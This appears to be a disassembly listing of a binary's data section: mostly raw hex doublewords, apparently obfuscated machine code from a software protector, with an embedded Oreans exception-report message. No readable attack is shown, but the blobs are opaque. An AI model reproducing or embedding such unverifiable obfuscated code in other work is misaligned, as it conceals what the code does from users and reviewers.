		dd 6A061Eh, 2198D09h, 6A061Eh, 0EE9h, 0C4050000h, 0BB8F4E7Dh
		dd 0AAF12583h, 68D08338h, 0C0000000h, 2B39958Bh, 0F88B061Eh
		dd 0EF32B5FFh, 8E90620h, 76000000h, 0CB102966h,	0FFCDB944h
		dd 1E054595h, 29BD8B06h, 83061E09h, 850FFFF8h, 4EFh, 7788B960h
		dd 8D016FC4h, 61E01BDh,	0A085FF61h, 8B0620F9h, 1E15058Dh
		dd 83CE8A06h, 20F9A0BDh, 840F0206h, 3C9h, 7E8h,	7FF99F00h
		dd 68894B72h, 6800Fh, 0B5290000h, 61E1F09h, 9F858D59h
		dd 6A005AF5h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FBFC352h, 68Bh, 69BD8B00h, 0FF061E0Dh
		dd 0D28166D0h, 858D787Dh, 5AEFF2h, 0D0FFD38Bh, 4BBAC08Bh
		dd 0E95512C9h, 0Fh, 637CD785h, 1CD69C28h, 4BFCBE15h, 830C5023h
		dd 1E1D79BDh, 9750006h,	2B25BD83h, 7400061Eh, 8B535019h
		dd 7D8B8C0h, 85890000h,	61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h
		dd 0BD83585Bh, 61E2B25h, 50177400h, 7D8B853h, 85890000h
		dd 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 0BD09585Bh, 61E2EB9h
		dd 0D5BF6650h, 0FDB65FEFh, 8D89C08Bh, 61E26D9h,	0F003F68h
		dd 898D8B00h, 6A061E20h, 8FCA8100h, 6A5D4606h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B112A49h, 1E16D18Dh, 0DD95FF06h, 1061E0Dh, 1E157D95h
		dd 0FC08506h, 8589D6B7h, 620EEB6h, 0FF68C2B2h, 0F9000F01h
		dd 87DBD83h, 0F00061Eh,	1C84h, 8D60B100h, 20EF1385h, 0B6B96606h
		dd 16E94Fh, 81660000h, 8B6703CAh, 1E00118Dh, 0E9858D06h
		dd 0B90620EEh, 19FC7E43h, 6870F50h, 1000000h, 1E1A1DB5h
		dd 0B6B5FF06h, 530620EEh, 78E18166h, 858959C8h,	61E0075h
		dd 0EEAE95FFh, 0B70F0620h, 0D18166F9h, 858969A4h, 620EEBAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A6C35141h
		dd 0C728764Dh, 1E139585h, 6, 884CBA00h,	0BD83112Fh, 620EEBAh
		dd 0EA840F00h, 51000001h, 20D18D8Bh, 8D5A061Eh,	20F19885h
		dd 0F8B1B906h, 9D89251Eh, 61E00FDh, 0D18D8B50h,	6A061E0Dh
		dd 29958B01h, 0FF061E31h, 20EEBAB5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B827802h
		dd 1E16698Dh, 0B295FF06h, 0F0620EEh, 688h, 25958B00h, 80061E19h
		dd 0B5FF4FDDh, 620EEBAh, 4810Fh, 0BF660000h, 95FF233Dh
		dd 61E2181h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	47C35545h, 0DE84Eh, 35E80000h, 207DAE8Eh, 0C35FAB95h
		dd 8BD2B7C6h, 1E07D995h, 0FF685F06h, 0F000F01h,	38Bh, 61D28000h
		dd 87DBD83h, 0F00061Eh,	3E84h, 11E800h,	0C46E0000h, 13B0F3ECh
		dd 0D25875Dh, 0EFACF9DAh, 0F4662B2h, 687h, 85B50900h, 59061E30h
		dd 0EF13858Dh, 0F6B50620h, 1A258D0Bh, 19E9061Eh, 0F000000h
		dd 28Bh, 8DD78B00h, 20EEE985h, 6E906h, 6AD10000h, 0CB507820h
		dd 0D7816650h, 0D280C18Dh, 0B6B5FFD7h, 6A0620EEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 4B3DC350h, 0FFD18B22h, 20EEAE95h, 0BA858906h, 6A0620EEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0EE1BC356h, 142E741Fh, 0FF52B8C1h, 20EEBAB5h
		dd 519D8906h, 0FF061E27h, 20EEAA95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0FFEE8A4Eh
		dd 20EEBAB5h, 0EA816606h, 95FFA606h, 61E2181h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3AC35343h, 2074C937h
		dd 599D89E2h, 89061E15h, 1E1A6595h, 0F706E906h,	9AB9FFFFh
		dd 93832FFh, 1E18E9BDh,	3B5FF06h, 6A0620FAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0CEE8C350h, 91BDB643h, 3BBA7675h, 0FF2992CDh, 1E16B995h
		dd 88F0F06h, 0F000000h,	281h, 8B47B200h, 1E0CBD85h, 51958906h
		dd 0E9061E13h, 5D8h, 13719D01h,	0B58D061Eh, 620F1B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 9DC35747h, 0E1BEC0F2h
		dd 17C5B589h, 858D061Eh, 6209F8Ah, 860FD0FFh, 6, 7B5BD89h
		dd 6A061Eh, 95FFD68Bh, 61E1375h, 0FE874B6h, 0ED000000h
		dd 0FD3AA3DFh, 8F60A666h, 4DB3FE3Dh, 8D8BF121h,	61E2E49h
		dd 0FF38B59h, 688h, 0F5F78100h,	8D6D4569h, 209F8A85h, 89958906h
		dd 0FF061E27h, 99589D0h, 89061E1Fh, 1E1609BDh, 9006A06h
		dd 1E0C2D85h, 7595FF06h, 0F061E13h, 280h, 8BF2B600h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 399D8991h, 83061E02h, 1E1D79BDh, 9750006h, 2B25BD83h
		dd 7400061Eh, 8B535019h, 7D9B8C0h, 85890000h, 61E0CE9h
		dd 0AC3A9D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h
		dd 7D9B853h, 85890000h,	61E0CE9h, 0A9299D8Dh, 0D3FF0620h
		dd 0EA8A585Bh, 14CDBD29h, 8BFC061Eh, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0DAC255A9h
		dd 7F571CF8h, 0CA816600h, 0F950C3CBh, 0BA66D88Bh, 8D532602h
		dd 1E20ED9Dh, 89038B06h, 50438B03h, 8D504389h, 20F99C9Dh
		dd 89038B06h, 6A5B03h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 6510E3C3h, 6AF289h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 48352AC3h
		dd 0BFE9C51Dh, 206FD7B3h, 13E9006Ah, 0C5000000h, 0F70EBA5Ch
		dd 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 858D0E01h, 620F99Ch
		dd 8B50D18Bh, 1E075995h, 0F606A06h, 682h, 718D8B00h, 8D061E29h
		dd 1E20ED85h, 0D78B6606h, 52006A50h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 7D21E180h
		dd 0C40D2C9h, 0F006A46h, 68Ch, 75958B00h, 6A061E29h, 51958900h
		dd 68061E2Ah, 1800h, 33B59D01h,	5653061Eh, 0DE953h, 83A90000h
		dd 0BB466CD3h, 0E83462C8h, 59B310A1h, 995FF5Ah,	66061E2Bh
		dd 48AD981h, 9DD95FFh, 6A061Eh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 89DF2C3h, 8B6636DAh
		dd 3B5FFFEh, 0F0620FAh,	588h, 3F1CB900h, 95FF5A8Fh, 61E16B9h
		dd 12E960h, 93D40000h, 0B70F9177h, 3A294055h, 2709821Bh
		dd 38542EB4h, 0BE9h, 0F6A37B00h, 1E4F7A44h, 0DFCC2434h
		dd 0D39BBA61h, 858D2556h, 61E20EDh, 8BCDDD80h, 89601840h
		dd 1E17758Dh, 10E906h, 130C0000h, 80C38139h, 821523Eh
		dd 0F9B697AEh, 0C761F5D0h, 1E174985h, 6, 7E96000h, 23000000h
		dd 0CF4608C9h, 8F0FACD8h, 3, 61D6BF0Fh,	87DBD83h, 0F00061Eh
		dd 3C84h, 398D3100h, 3D061E29h,	8Ch, 1F9830Fh, 81660000h
		dd 0E9B5F3D2h, 6Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0B6C35040h, 0FFB9663Dh, 963D92h, 830F0000h
		dd 1C3h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0ECC35242h, 37D659F2h, 0E8696895h, 0Ch,	0BFC67BBBh
		dd 6C017A9Eh, 8AE17BECh, 58B0Fh, 81660000h, 5A90BADFh
		dd 0F59F858Dh, 6A005Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0CF565EC3h, 9589A368h, 61E0CEDh
		dd 9D89D0FFh, 61E2A11h,	0EFF2858Dh, 0BD89005Ah,	61E2DA5h
		dd 8589D0FFh, 61E1769h,	950BC08Bh, 61E2391h, 0EE953h, 2030000h
		dd 0C5EAD713h, 7A4A7CF0h, 0AA72EC15h, 79BD835Ah, 61E1Dh
		dd 0BD830975h, 61E2B25h, 50197400h, 0B8C08B53h,	0BC6h
		dd 0CE98589h, 9D8D061Eh, 620AC3Ah, 585BD3FFh, 2B25BD83h
		dd 7400061Eh, 0B8535017h, 0BC6h, 0CE98589h, 9D8D061Eh
		dd 620A929h, 585BD3FFh,	0E2815F52h, 4B3FDA25h, 0F4DA8166h
		dd 6AC08B99h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0F9D5C353h, 56974E75h,	3BCE10A6h
		dd 0FFFF883h, 5985h, 0C7C88B00h, 1E044D85h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B2D3A73h, 0F6E9D1h,	0D08B0000h, 58E9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0F4BBC2FCh, 0F883F235h, 2E850F01h, 60000000h, 0ECC7BE66h
		dd 5890Fh, 81660000h, 61E288C8h, 0C860Fh, 8A0F0000h, 6
		dd 8A0Fh, 0B5E90000h, 8B000000h, 1E1EFD95h, 0F17AE906h
		dd 8BF5FFFFh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F8BF0FB2h, 1D79BD83h, 7500061Eh
		dd 25BD8309h, 61E2Bh, 53501974h, 0DDB8C08Bh, 89000007h
		dd 1E0CE985h, 3A9D8D06h, 0FF0620ACh, 83585BD3h,	1E2B25BDh
		dd 17740006h, 0DDB85350h, 89000007h, 1E0CE985h,	299D8D06h
		dd 0FF0620A9h, 0E9585BD3h, 6, 0B10F3BCAh, 5E92E8Bh, 0E3000000h
		dd 5433302h, 0B70FC08Bh, 1F4E9CFh, 8D890000h, 61E33B9h
		dd 0F7A0858Dh, 0BD310620h, 61E0CB9h, 0F9988589h, 0E9F90620h
		dd 34h,	0F5A8858Dh, 66400620h, 893E08BFh, 20F99885h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 9EBB5C54h, 0D78B661Eh, 858D346Ah, 61E3091h, 98B5FF50h
		dd 6A0620F9h, 0D595FF00h, 83061E31h, 840F07F8h,	162h, 0F6DB8C66h
		dd 850F04C3h, 0FCh, 204185C6h, 6856061Eh, 9CA8B852h, 2F1B5FFh
		dd 858D061Eh, 61E38FAh,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 20FA0B85h, 4185C606h, 47061E20h, 18AC9B68h, 0F1B5FFECh
		dd 8D061E02h, 1E38FA85h, 0FFD0FF06h, 0C6F08BD0h, 1E204185h
		dd 61684F06h, 0FFC62F26h, 1E1E9DB5h, 0FA858D06h, 0FF061E38h
		dd 79D8DD0h, 530620FAh,	0FF56286Ah, 75C085D0h, 4185C600h
		dd 41061E20h, 87649868h, 9DB5FFDBh, 8D061E1Eh, 1E38FA85h
		dd 89D0FF06h, 20FA2485h, 4185C606h, 4C061E20h, 0A4E7A468h
		dd 9DB5FF80h, 8D061E1Eh, 1E38FA85h, 8BD0FF06h, 20FA0B9Dh
		dd 45B8D06h, 109D8D53h,	530620FAh, 0D0FF006Ah, 0FA0B9D8Bh
		dd 3C70620h, 1,	20C43C7h, 0C7000000h, 1E04A185h, 6, 6A006A00h
		dd 8B006A00h, 20FA0B9Dh, 6A5306h, 0FA07B5FFh, 95FF0620h
		dd 620FA24h, 204185C6h,	6845061Eh, 92A5F797h, 1455B5FFh
		dd 858D061Eh, 61E38FAh,	6AD0FFh, 0D0FF026Ah, 0F6DB8C66h
		dd 327504C3h, 0FA0B9D8Bh, 43C70620h, 0Ch, 6A006A00h, 0B9D8B00h
		dd 530620FAh, 0B5FF006Ah, 620FA07h, 0FA2495FFh,	0B5FF0620h
		dd 620FA07h, 9DD95FFh, 6A061Eh,	137595FFh, 850F061Eh, 0Ch
		dd 7E9h, 8F2BC300h, 7613135Eh, 0B9669BB2h, 858DAAEDh, 6212DF4h
		dd 23F9B70Fh, 1E1F85BDh, 8E0F5006h, 5, 0BBDF8166h, 0B5295350h
		dd 61E0879h, 35FF645Ah,	0
		dd 1A958D8Bh, 8964061Eh, 25h, 799D8900h, 89061E22h, 1E1651B5h
		dd 51BD8306h, 61E33h, 2C840Fh, 83F80000h, 1E272DBDh, 850F0106h
		dd 1Eh,	26BD958Bh, 0BD80061Eh, 620FE24h, 0B850F00h, 89000000h
		dd 1E1F2995h, 180E906h,	0DB330000h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 30C35646h, 0C0335E9Ch, 3F0F40FCh
		dd 8F640B07h, 5, 4C48300h, 1F89B501h, 6A061Eh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 793F75C3h, 0BF0FB6AEh, 0FFFB83FFh, 16840Fh, 0B5600000h
		dd 0E961F9D5h, 108h, 3021958Bh,	0B529061Eh, 61E1F05h, 9EE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 27AF56FEh, 6623AA8Ah, 9C47DA81h,	7F91BF66h
		dd 0C244C8Bh, 0A481C7h,	0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
		dd 0C245C8Bh, 0E855h, 815D0000h, 212E16EDh, 0B8838B06h
		dd 8D000000h, 212ECA85h, 0B8838906h, 5D000000h,	6AC3C033h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 4056C355h, 0CFF78166h, 0F18D89C0h, 33061E21h
		dd 1E0EFD95h, 31BD8906h, 8D061E2Eh, 212E0C85h, 0FDF28106h
		dd 500EA8B4h, 514AE281h, 958B60A9h, 61E0F39h, 35FF64h
		dd 8B000000h, 1E16D58Dh, 25896406h, 0
aF_2		db 'f╨ц',0Bh,'╧',0Ah,0
		align 4
		dd 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh
		dd 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh, 1F4985C7h
		dd 1061Eh, 8F640000h, 5, 4C48300h, 19810Fh, 880F0000h
		dd 13h,	0DE8h, 0F8113800h, 5BA1351Dh, 29FE7348h, 0F59DE98h
		dd 683h, 659D8900h, 8B061E30h, 51006AC0h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0AE91B490h
		dd 2DEBFC5Eh, 6870F51h,	81000000h, 9DB587E7h, 0BD835F24h
		dd 61E1D79h, 83097500h,	1E2B25BDh, 19740006h, 0C08B5350h
		dd 43DB8h, 19858900h, 8D061E0Dh, 20ACA19Dh, 5BD3FF06h
		dd 25BD8358h, 61E2Bh, 53501774h, 43DB8h, 19858900h, 8D061E0Dh
		dd 20A9429Dh, 5BD3FF06h, 13E96058h, 0C000000h, 5AEFA424h
		dd 79798034h, 63796A90h, 0AE77BAD7h, 858BD9A4h,	61E0C35h
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 4E7FA5C7h, 12D43639h, 0DDBD8BE7h, 57061E17h
		dd 95D9529h, 8B5F061Eh,	13AE9C0h, 40000h, 2E310000h, 353538h
		dd 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dd 13D1BD83h, 0F00061Eh, 12D84h, 59858D00h, 500620A7h
		dd 0A6C3858Dh, 68500620h, 80000001h, 0A76995FFh, 858D0620h
		dd 6212FD6h, 0E0858D50h, 5006212Fh, 6A006Ah, 0A6D7858Dh
		dd 0FF500620h, 20A759B5h, 995FF06h, 8D061E0Eh, 212FD685h
		dd 858D5006h, 6212FE4h,	6A006A50h, 0E9858D00h, 500620A6h
		dd 0A759B5FFh, 95FF0620h, 61E0E09h, 2FD6858Dh, 8D500621h
		dd 212FF085h, 6A5006h, 858D006Ah, 620A736h, 59B5FF50h
		dd 0FF0620A7h, 1E0E0995h, 0D6858D06h, 5006212Fh, 2FF8858Dh
		dd 6A500621h, 8D006A00h, 20A75485h, 0B5FF5006h,	620A759h
		dd 0E0995FFh, 858D061Eh, 6212FD6h, 0F4858D50h, 5006212Fh
		dd 6A006Ah, 0A73D858Dh,	0FF500620h, 20A759B5h, 995FF06h
		dd 8D061E0Eh, 212FD685h, 858D5006h, 6212FE8h, 6A006A50h
		dd 45858D00h, 500620A7h, 0A759B5FFh, 95FF0620h,	61E0E09h
		dd 2FD6858Dh, 8D500621h, 212FEC85h, 6A5006h, 858D006Ah
		dd 620A74Ch, 59B5FF50h,	0FF0620A7h, 1E0E0995h, 59B5FF06h
		dd 0FF0620A7h, 1E1FE595h, 0A2E906h, 0BD830000h,	61E0D3Dh
		dd 95840F00h, 83000000h, 1E272DBDh, 850F0006h, 11h, 227D958Bh
		dd 0C281061Eh, 1CF8h, 0FE9h, 0ED958D00h, 8B061E20h, 0C2813452h
		dd 3BD4C340h, 13859589h, 0BD83061Eh, 61E1385h, 55840F00h
		dd 8B000000h, 1E13859Dh, 4CC38306h, 8589038Bh, 6212FE0h
		dd 13859D8Bh, 0C383061Eh, 89038B50h, 212FE485h,	859D8B06h
		dd 83061E13h, 38B54C3h,	2FF08589h, 9D8B0621h, 61E1385h
		dd 8B58C383h, 0F4858903h, 8B06212Fh, 1E13859Dh,	5CC38306h
		dd 8589038Bh, 6212FE8h,	13D1BD83h, 0F00061Eh, 0D85h, 3DBD8300h
		dd 61E0Dh, 68840Fh, 0B5FF0000h,	6212FF8h, 2FECB5FFh, 0B5FF0621h
		dd 6212FE8h, 2FF4B5FFh,	0B5FF0621h, 6212FF0h, 2FE4B5FFh
		dd 0B5FF0621h, 6212FE0h, 2FDA858Dh, 8D500621h, 21301285h
		dd 858D5006h, 61E23A5h,	0B995FF50h, 83061E2Bh, 406A24C4h
		dd 2FFC858Dh, 8D500621h, 1E23A585h, 6A5006h, 31D595FFh
		dd 16A061Eh, 137595FFh,	0C18B061Eh, 0C08BF560h,	83CE8B66h
		dd 1E1D79BDh, 9750006h,	2B25BD83h, 7400061Eh, 8B535019h
		dd 40EB8C0h, 85890000h,	61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h
		dd 0BD83585Bh, 61E2B25h, 50177400h, 40EB853h, 85890000h
		dd 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 6A585Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 4281C3h, 2D890Fh
		dd 0E9600000h, 14h, 0CD61D6EBh,	0B570D628h, 8B3C58E8h
		dd 62A5A04Bh, 20EE422Fh, 0CE8h,	0A079E900h, 0D1423883h
		dd 65F51FB5h, 66615E9Ch, 6A7BA2BEh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DE4CC356h
		dd 2746B000h, 87D441ABh, 0C1BB6660h, 0C08B61B9h, 83F2B70Fh
		dd 1E3351BDh, 840F0006h, 11h, 1D40B956h, 0E95E32D8h, 28Bh
		dd 6BD68166h, 0B5DF8CB6h, 0C7F766A1h, 850F0004h, 277h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9FC35040h
		dd 81486926h, 80BD657Ch, 0FF2BE1DEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0D9C35242h,	0E93AC915h, 0Ah
		dd 0DDE311C5h, 0A9AFD8A8h, 9D8DDCE8h, 62136AEh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6BC35747h, 2FEDAA74h
		dd 93C64CC7h, 66507BB2h, 936996B9h, 0EA8166F5h,	0FF64D378h
		dd 35h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1704h, 0C3534300h, 0F2ED7F1Ah, 600BD980h, 4145BA66h
		dd 1A1697BEh, 89646172h, 25h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 13E96F63h
		dd 1C000000h, 0E666BD3Dh, 3CF9CA4Fh, 0D9F132DAh, 0EADA8485h
		dd 0C48B784Ah, 0AE18166h, 0EB01CDB4h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 67455DD9h, 0CECA1209h, 7E9h,	9F6A0600h, 6AB0B461h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 29C35040h, 4C4EA8C3h
		dd 0C1D1B63Fh, 58F6453h, 0
		dd 4880Fh, 0BA660000h, 0C4833438h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0B026C4D8h
		dd 14E8560Ch, 61000000h, 0D8111874h, 0F3FAF3CEh, 2F574C66h
		dd 389E0DA1h, 5ABEEB57h, 0C00BC88Bh, 0C1840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 4F4BC8C3h, 4E7BDA81h, 7E97BCFh, 0D4000000h, 4CAB04FEh
		dd 81611D6Ah, 3CE3F6F2h, 0CFB70F6Ah, 71ABBD8Dh,	6A061Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 53AD2EC3h, 7AC42C41h, 8118CCCFh, 334CFFC6h, 1B858h
		dd 8B660000h, 8BE7FFC8h, 78F0FD6h, 0F000000h, 189h, 8B57FC00h
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 2800Fh, 0CB8B0000h, 0D8C0Fh, 8E90000h
		dd 0D0000000h, 0DF49837Fh, 61E92FEFh, 5E9h, 0C2A9200h
		dd 0C08B72B0h, 0C71D49BAh, 79BD832Ch, 61E1Dh, 0BD830975h
		dd 61E2B25h, 50197400h,	0B8C08B53h, 40Eh, 0D198589h, 9D8D061Eh
		dd 620ACA1h, 585BD3FFh,	2B25BD83h, 7400061Eh, 0B8535017h
		dd 40Eh, 0D198589h, 9D8D061Eh, 620A942h, 585BD3FFh, 0C3C68166h
		dd 2840F2Ch, 8B000000h,	89B966D1h, 0E9C08B80h, 7, 2F17C4A7h
		dd 0F3476E1h, 683h, 72DE8100h, 8B608FF0h, 1718EBC2h, 9B46F3h
		dd 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 21379EEDh
		dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 62137D6h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 62137DAh
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 85858B00h, 86061E13h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 61E3025h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 85858B00h, 0C6061E13h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 1E138585h, 0A188606h
		dd 0F6850FDBh, 0C7FFFFFFh, 1E2F6185h, 6, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 61E2F61h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 621377Bh, 1
		dd 4C010F50h, 858FFE24h, 621377Fh, 3777858Dh, 0BD8D0621h
		dd 621377Fh, 23E93889h,	8D000000h, 1E20ED85h, 38408B06h
		dd 46F31705h, 7785899Bh, 8D062137h, 1E20ED85h, 3C408B06h
		dd 377B8589h, 858D0621h, 6213794h, 30258589h, 87E9061Eh
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 6213A07h
		dd 13C18589h, 858D061Eh, 6213A2Fh, 2258589h, 858D061Eh
		dd 6213A57h, 9A18589h, 0CE8061Eh, 99000000h, 0A9C3386Ah
		dd 7C3F52A4h, 0F5BB0B8Bh, 0EE95Eh, 9E700000h, 0EFAAAE25h
		dd 66995B00h, 73A8D9Ah,	718FC681h, 0F6800000h, 1C48BBF1h
		dd 3E8B0000h, 0EAB0A1B9h, 87C78113h, 8008FD5Bh,	0EF81B5F5h
		dd 3D47B7D9h, 44F28060h, 43F78161h, 0B9579667h,	74A31811h
		dd 0FC523E89h, 1EE835Ah, 4EC4F680h, 0EA814E4Eh,	5BA7BC1Fh
		dd 0BF850F4Bh, 80FFFFFFh, 8EBE0D6h, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 272D858Bh
		dd 858D061Eh, 6216BA3h,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 6213B30h, 87DBD83h, 0F00061Eh, 0F84h, 6A6000h, 26C195FFh
		dd 0E961061Eh, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 213B2C85h, 30B58B06h, 0C106213Bh,	896610CEh
		dd 0B58B0272h, 6213B30h, 0FC728966h, 2C858B61h,	0C306213Bh
		dd 278D958Dh, 9589061Eh, 61E1385h, 0E2D9589h, 85FF061Eh
		dd 61E0E2Dh, 204185C6h,	6853061Eh, 0FCB148D8h, 2F1B5FFh
		dd 858D061Eh, 61E38FAh,	8589D0FFh, 61E26C1h, 37AE858Dh
		dd 85890621h, 61E3271h,	51E9h, 748B6000h, 76032424h, 247C8B3Ch
		dd 81D68B28h, 0F8C2h, 4E8B6600h, 0C9B70F06h, 0F00F983h
		dd 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh
		dd 89F82BC1h, 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h
